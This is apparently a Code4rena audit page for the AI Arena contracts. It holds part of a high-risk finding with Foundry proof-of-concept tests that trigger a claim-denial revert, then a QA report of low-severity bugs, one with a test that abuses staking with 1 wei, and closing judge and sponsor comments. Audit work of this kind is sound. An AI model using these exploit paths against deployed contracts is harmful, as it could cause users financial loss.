vm.expectRevert(stdError.divisionError); _fighterFarmContract.claimFighters(numToMint, signature, claimModelHashes, claimModelTypes); }
Also Include the following function in the FighterFarm.sol
:
function setDelegatedAddress(address newDelegatedAddress) external { require(msg.sender == _ownerAddress); _delegatedAddress = newDelegatedAddress; }
Output:
└─$ forge test --mt testClaimFighterWithCustomSignatureAfterIncreasingGenerationLeadsToRevertTx [⠃] Compiling... [⠃] Compiling 1 files with 0.8.13 [⠊] Solc 0.8.13 finished in 3.93s Compiler run successful! Running 1 test for test/FighterFarm.t.sol:FighterFarmTest [PASS] testClaimFighterWithCustomSignatureAfterIncreasingGenerationLeadsToRevertTx() (gas: 1543320) Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.93ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Test to checking the signatures:
<details> <summary>Code:</summary></details>function testClaimFighterWithCustomSignatureSuccess() public { address alice = makeAddr("alice"); (address delegated, uint256 delegatedPvtKey) = makeAddrAndKey("delegated"); // setting new delegate. // NOTE: this function is not present in the contract, it is just for testing purposes _fighterFarmContract.setDelegatedAddress(delegated); // creating signature for the user to 3 challenger and 2 dendroids uint8[2] memory numToMint = [3, 2]; bytes32 messageToSign = keccak256(abi.encode( alice, numToMint[0], numToMint[1], _fighterFarmContract.nftsClaimed(alice, 0), _fighterFarmContract.nftsClaimed(alice, 1) )); bytes32 signedMessage = ECDSA.toEthSignedMessageHash(messageToSign); (uint8 v, bytes32 r, bytes32 s) = vm.sign(delegatedPvtKey, signedMessage); bytes memory signature = abi.encodePacked(r, s, v); string[] memory claimModelHashes = new string[](5); claimModelHashes[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; claimModelHashes[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; claimModelHashes[2] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; claimModelHashes[3] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; claimModelHashes[4] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; string[] memory claimModelTypes = new string[](5); claimModelTypes[0] = "original"; claimModelTypes[1] = "original"; claimModelTypes[2] = "original"; claimModelTypes[3] = "original"; claimModelTypes[4] = "original"; // Right sender of signature should be able to claim fighter vm.prank(alice); _fighterFarmContract.claimFighters(numToMint, signature, claimModelHashes, claimModelTypes); }
It is recommended to do the following changes:
- function incrementGeneration(uint8 fighterType) external returns (uint8) { + function incrementGeneration(uint8 fighterType, uint8 _numsElement) external returns (uint8) { require(msg.sender == _ownerAddress); generation[fighterType] += 1; maxRerollsAllowed[fighterType] += 1; + numsElement[generation[fighterType]] = _numsElement; return generation[fighterType]; }
DoS
#0 - c4-pre-sort
2024-02-22T18:32:54Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T18:33:07Z
raymondfam marked the issue as duplicate of #45
#2 - c4-judge
2024-03-07T06:53:30Z
HickupHH3 changed the severity to 3 (High Risk)
#3 - c4-judge
2024-03-07T06:59:36Z
HickupHH3 marked the issue as satisfactory
🌟 Selected for report: givn
Also found by: 0x11singh99, 0xAkira, 0xBinChook, 0xDetermination, 0xMosh, 0xStriker, 0xmystery, 14si2o_Flint, 7ashraf, Aamir, AlexCzm, BARW, Bauchibred, BenasVol, BigVeezus, Blank_Space, Bube, DarkTower, DeFiHackLabs, EagleSecurity, KmanOfficial, Krace, McToady, MrPotatoMagic, PetarTolev, Rolezn, SHA_256, SpicyMeatball, Tekken, Timenov, ZanyBonzy, agadzhalov, alexzoid, boredpukar, btk, cartlex_, dimulski, forkforkdog, haxatron, immeas, jesjupyter, juancito, kartik_giri_47538, klau5, lsaudit, merlinboii, nuthan2x, offside0011, oualidpro, peter, radev_sw, rekxor, rspadi, shaflow2, shaka, swizz, vnavascues, yotov721, yovchev_yoan
107.2533 USDC - $107.25
Severity | Issue | Instance |
---|---|---|
[L-0] | iconsTypes length should also be checked in FighterFarm::redeemMintPass(...) | 1 |
[L-1] | customAttributes are not checked for valid ranges when sent using FighterFarm::mintFromMergingPool(...) | 1 |
[L-2] | No check for new Game Item is added in GameItems::createGameItem(...) | 1 |
[L-3] | Add checks for duplicate addresses passed as winners in MergingPool::pickWinner() | 1 |
[L-4] | Add Array parameter length checks in MergingPool::claimRewards(...) | 1 |
[L-5] | Neuron::mint(...) contract can't mint tokens to the absolute value of MAX_SUPPLY | 1 |
[L-6] | globalStakedAmount is not updated after the end of each round showing incorrect info. | 1 |
[L-7] | Holder of the tokenId will not be to claim rewards in RankedBattle::claimNRN(...) if the NFT is transferred to another address | 1 |
[L-8] | RankedBattle::_getStakingFactor() works in a biased way for small stakers. | 1 |
[L-9] | Only Success case is checked for calls in the contracts that can create issue if the call fails in some cases. | 1 |
[L-10] | MergingPool::claimRewards(...) can cause DoS if the user won several times but didn't claim the NFT reward immediately | 1 |
[L-11] | Various function in FigtherFarm allows for putting modelHash by the User, but it can harm the Game if something Malicious is put into it. | 1 |
[N-0] | No way to remove a staker in FighterFarm.sol | 1 |
[N-1] | Mistake in Natspac of MergingPool::fighterPoints mapping. | 1 |
iconsTypes
length should also be checked in FighterFarm::redeemMintPass(...)
<a id="low-0"></a>Check for iconsTypes
length is missed in the FighterFarm::redeemMintPass(...)` contract. This can cause issues later. Add the check fo that as well
File: 2024-02-ai-arena/src/FighterFarm.sol 243 require( 244 mintpassIdsToBurn.length == mintPassDnas.length && 245 mintPassDnas.length == fighterTypes.length && 246 fighterTypes.length == modelHashes.length && 248 modelHashes.length == modelTypes.length 249 );
GitHub: [243-248]
customAttributes
are not checked for valid ranges when sent using FighterFarm::mintFromMergingPool(...)
<a id="low-1"></a>FighterFarm::_createFighterBase(...)
allows only setting attributes like weight
and element
within specific range. For weight
, there is a valid range of 65 - 95
. And elements will be selected on the basis of no. of elements set for the generation.
File: 2024-02-ai-arena/src/FighterFarm.sol function _createFighterBase( uint256 dna, uint8 fighterType ) private view returns (uint256, uint256, uint256) { @> uint256 element = dna % numElements[generation[fighterType]]; @> uint256 weight = dna % 31 + 65; @> uint256 newDna = fighterType == 0 ? dna : uint256(fighterType); return (element, weight, newDna); }
GitHub: (462-474)
But, these ranges will be implemented only when the value inside the customAttributes
is set to 100
. If any other value is sent then this condition will be used to set the weight
, element
, and dna
:
File: 2024-02-ai-arena/src/FighterFarm.sol 502 else { 503 element = customAttributes[0]; 504 weight = customAttributes[1]; 505 newDna = dna; 506 }
GitHub: [502-506]
This allows anyone to set these values to anything. This can cause issues if the values are set outside the specified range.
Add the neccessary checks for these customAttributes
in FighterFarm::_createNewFighter(...)
else { + require(customAttributes[0] < numElements[generation[fighterType]]); + require(ustomAttributes[1] >= 65 && ustomAttributes[1] <= 95); element = customAttributes[0]; weight = customAttributes[1]; newDna = dna; }
GameItems::createGameItem(...)
<a id="low-2"></a>GameItems::createGameItem(...)
allows admin to create new game items. But there is no check for the different parameters in the functions. If wrong data is sent by mistake it can cause issue. For example, dailyAllowance
should not be more than the itemsRemaining
. It is recommended to add the neccessary checks so taht it will not cause any issue later.
MergingPool::pickWinner()
<a id="low-3"></a>The MergingPool::pickWinner()
function will used by the Admin to pick the winner. But there is no check in the function whether the duplicate address is passed as a winner in the winner
paramter. Although the funciton is only admin and he is trusted. But he can still make a mistake and can cause losses to the users by claiming some of the rewards.
File: 2024-02-ai-arena/src/MergingPool.sol function pickWinner(uint256[] calldata winners) external { require(isAdmin[msg.sender]); require(winners.length == winnersPerPeriod, "Incorrect number of winners"); require(!isSelectionComplete[roundId], "Winners are already selected"); uint256 winnersLength = winners.length; address[] memory currentWinnerAddresses = new address[](winnersLength); for (uint256 i = 0; i < winnersLength; i++) { currentWinnerAddresses[i] = _fighterFarmInstance.ownerOf(winners[i]); totalPoints -= fighterPoints[winners[i]]; fighterPoints[winners[i]] = 0; } winnerAddresses[roundId] = currentWinnerAddresses; isSelectionComplete[roundId] = true; roundId += 1; }
GitHub: [118-132]
It is recommended to add neccessary checks for that.
MergingPool::claimRewards(...)
<a id="low-4"></a>There is no checks in the MergingPool::claimRewards(...)
for the length of the array parameters passed. The lengths of the arrays should different array parameters should be matched.
File: 2024-02-ai-arena/src/MergingPool.sol function claimRewards( @> string[] calldata modelURIs, @> string[] calldata modelTypes, @> uint256[2][] calldata customAttributes )
GitHub: [139-143]
Neuron::mint(...)
contract can't mint tokens to the absolute value of MAX_SUPPLY
<a id="low-5"></a>Neuron::mint(...)
contract doesn't allow minting of tokens upto absolute MAX_SUPPLY
because this require statement:
File: 2024-02-ai-arena/src/Neuron.sol function mint(address to, uint256 amount) public virtual { @> require(totalSupply() + amount < MAX_SUPPLY, "Trying to mint more than the max supply"); require(hasRole(MINTER_ROLE, msg.sender), "ERC20: must have minter role to mint"); _mint(to, amount); }
GitHub: [155-159]
As you can see, it uses <
but should be <=
so that value upto MAX_SUPPLY
is included in the amount. It is recommended to add the following check correctly.
function mint(address to, uint256 amount) public virtual { - require(totalSupply() + amount < MAX_SUPPLY, "Trying to mint more than the max supply"); + require(totalSupply() + amount <= MAX_SUPPLY, "Trying to mint more than the max supply"); require(hasRole(MINTER_ROLE, msg.sender), "ERC20: must have minter role to mint"); _mint(to, amount); }
RankedBattle::globalStakedAmount
is not updated after the end of each round showing incorrect info. <a id="low-6"></a>When user stake NRN
in the RankedBattle
contract, the following two mappings store the staked amount info. amountStaked
and globalStakedAmount
. amountStaked
stores the amount of NRN
staked token by a specific tokenId
and globalStakedAmount
stores the overall amount staked. When user loses/wins the tokens in a battle, some part of the his staked tokens is lost/regained from/to StakeAtRisk
contract. Also amountStaked
mapping is updated based on the result. But globalStakedAmount
in not updated (check in RankedBattle::updateBattleRecord(...)
). This is because the globalStakedAmount
is still considered a valid stake as user can reclaim the lost token if he wins a battle. But at the end of each round, any tokens available in StakeAtRisk
contract are permanently lost. That means globalStakedAmount
should also be updated on the basis of that. But it is not. That mean globalStakedAmount
stores incorrect amount.
It is recommended to update the globalStakedAmount
after the end of each round to match with staked amount. This can be done by making the following changes:
File: RankedBattle.sol function setNewRound() external { require(isAdmin[msg.sender]); require(totalAccumulatedPoints[roundId] > 0); + globalStakedAmount = globalStakedAmount - _stakeAtRiskInstance.totalStakeAtRisk(roundId); roundId += 1; _stakeAtRiskInstance.setNewRound(roundId); rankedNrnDistribution[roundId] = rankedNrnDistribution[roundId - 1]; }
RankedBattle::claimNRN(...)
if the NFT is transferred to another address <a id="low-7"></a>If the fighter NFT is transferred to some other address, then the holder of that NFT will not be able to claim the NRN with that new address. Currently the RankedBattle::claimNRN(...)
only calculates the rewards on the basis of the address of the msg.sender
, not tokenId
.
File: RankedBattle.sol function claimNRN() external { require(numRoundsClaimed[msg.sender] < roundId, "Already claimed NRNs for this period"); uint256 claimableNRN = 0; uint256 nrnDistribution; uint32 lowerBound = numRoundsClaimed[msg.sender]; for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) { nrnDistribution = getNrnDistribution(currentRound); claimableNRN += ( @> accumulatedPointsPerAddress[msg.sender][currentRound] * nrnDistribution ) / totalAccumulatedPoints[currentRound]; numRoundsClaimed[msg.sender] += 1; } if (claimableNRN > 0) { amountClaimed[msg.sender] += claimableNRN; _neuronInstance.mint(msg.sender, claimableNRN); emit Claimed(msg.sender, claimableNRN); } }
GitHub: [294-311]
This would not be a problem if the user still has access of initial address. But if the user lost the access to the wallet, then he will not be able to claim his rewards for any previous rounds.
It is recommened to calculate the rewards based on the accumulatedPointsPerFighter
mapping instead. But this would require whole lot of changes in the function. Make sure those are implemented correctly. Doing this can save the funds of user in various situations.
RankedBattle::_getStakingFactor()
works in a biased way for small stakers. <a id="low-8"></a>The RankedBattle::_getStakingFactor()
function works little bit biased for small stakers. The staking factor calculated for someone who has staked amount like 3.99 NRN
is same as who has staked 1 wei amount of NRN
. A small staker can take the advantage of this by placing on 1 wei
amount of NRN as a staked and can get benefits of staking equal to someone who has staked 3.99 NRN
. In this way he will not have to worry about losing any big amount and can still avail for the benefits if win.
NOTE: Include the test below in RankedBattle.t.sol
File.
function testStakerCanStakeSmallAmountAndGetTheRewardsLikeNormalBiggerStaker() public { // setup address alice = makeAddr("Alice"); address bob = makeAddr("bob"); // giving tokens to alice and bob _fundUserWith4kNeuronByTreasury(alice); _fundUserWith4kNeuronByTreasury(bob); // checking the balance of alice and bob assertEq(_neuronContract.balanceOf(alice), 4_000 * 10 ** 18); assertEq(_neuronContract.balanceOf(bob), 4_000 * 10 ** 18); // minting fighters to alice and bob _mintFromMergingPool(alice); _mintFromMergingPool(bob); // checking if the fighters are minted _mintFromMergingPool(alice); _mintFromMergingPool(bob); // checking if the fighter has been minted assertEq(_fighterFarmContract.ownerOf(0), alice); assertEq(_fighterFarmContract.ownerOf(1), bob); // alice stakes 3.99 NRN in the pool // bob stakes only 1 wei amount of NRN in the pool vm.prank(alice); _rankedBattleContract.stakeNRN(3.99 ether, 0); vm.prank(bob); _rankedBattleContract.stakeNRN(1 wei, 1); // checking if the tokens has been staked assertEq(_rankedBattleContract.amountStaked(0), 3.99 ether); assertEq(_rankedBattleContract.amountStaked(1), 1 wei); // Let's assume alice wins the battle vm.startPrank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(0, 0, 0, 1500, true); vm.stopPrank(); // getting the points earned by alice uint256 pointsEarnedByAlice = _rankedBattleContract.accumulatedPointsPerAddress(alice,_rankedBattleContract.roundId()); // Now next round is set _rankedBattleContract.setNewRound(); // Now in this round bob wins vm.startPrank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(1, 0, 0, 1500, true); vm.stopPrank(); // getting the points earned by bob uint256 pointsEarnedByBob = _rankedBattleContract.accumulatedPointsPerAddress(bob,_rankedBattleContract.roundId()); // checking if the points earned by bob and alice are equal assertEq(pointsEarnedByAlice, pointsEarnedByBob); }
After running this test, you will see that both Alice and Bob won 1500
points even when bob just stake 1 wei
of NRN while alice staked almost ~4 wei
.
Do not allow for staking small amount of tokens. Add a minimum limit for it.
Various calls in the contract only make progress when the transfer call is success, for example:
File: RankedBattle.sol function _addResultPoints( uint8 battleResult, uint256 tokenId, uint256 eloFactor, uint256 mergingPortion, address fighterOwner ) private { ... } else { /// If the fighter does not have any points for this round, NRNs become at risk of being lost bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk); @> if (success) { _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner); amountStaked[tokenId] -= curStakeAtRisk; } } } }
GitHub: [416-500]
As we can see, only when the transfer of token is successfull then the StakeAtRisk::updateAtRiskRecords()
is called for the staker. But it will not be called if the call is not successfull. And the function will also not revert. This is good thing in some cases, but in some of them it create issue. Like in the above case, if the call fails then the risk Records of the user will not be updated and that would mean user can get away without paying anything from his account when loses. It is always better to add the case when the call fails and the success
is false. Something like revert if not success wherever needed.
MergingPool::claimRewards(...)
can cause DoS if the user won several times but didn't claim the NFT reward immediately <a id="low-10"></a>MergingPool::claimRewards(...)
let user's claim their NFT rewards for the each round ID they won. But it enables them to do so in the same transaction. That mean if the number of claims for the user gets bigger, the function can cause DoS as the function is GAS heavy.
It is recommended to let them claim the rewards for each roundId one by one or specify a max limit that can be claimed in one transaction.
FigtherFarm
allows for putting modelHash
by the User, but it can harm the Game if something Malicious is put into it. <a id="low-11"></a>It is allowed to add the model Hash by the user. But A user can put the hash of something malicious and can harm the game in some way. Add the proper checks to prevent this from happening.
FighterFarm.sol
<a id="non-critical-0"></a>There is only way to add a staker in FighterFarm.sol
using addStaker(...)
that can stake the fighters on behalf of the Users. But No way to remove it. This might cause an issue if some contract or address is no longer required to be a staker in the contract. Or if some address is mistakenly added as a staker.
Add remove staker function as well:
+ function removeStaker(address staker) external { + require(msg.sender == _ownerAddress); + hasStakerRole[staker] = false; + }
MergingPool::fighterPoints
mapping. <a id="non-critical-1"></a>MergingPool::fighterPoints
is a mapping from tokenId
to fighter points
for an NFT. But according to natspac, it is a mapping from address
to fighter points
which is incorrect.
@> /// @notice Mapping of address to fighter points. mapping(uint256 => uint256) public fighterPoints;
GitHub: [50-52]
#0 - raymondfam
2024-02-26T04:59:09Z
Adequate amount of L and NC entailed.
#1 - c4-pre-sort
2024-02-26T04:59:13Z
raymondfam marked the issue as sufficient quality report
#2 - HickupHH3
2024-03-08T03:40:32Z
#553: L
#3 - c4-judge
2024-03-15T06:59:03Z
HickupHH3 marked the issue as grade-b
#4 - c4-judge
2024-03-15T06:59:41Z
HickupHH3 marked the issue as grade-a
#5 - Aamirusmani1552
2024-03-19T13:48:00Z
@HickupHH3 Thanks for judging the contest. Please check the issue L-8 in here. I think the issue is little bit serious than QA.
#6 - c4-sponsor
2024-03-26T02:44:52Z
brandinho (sponsor) acknowledged
#7 - SonnyCastro
2024-03-26T08:44:46Z
Mitigated here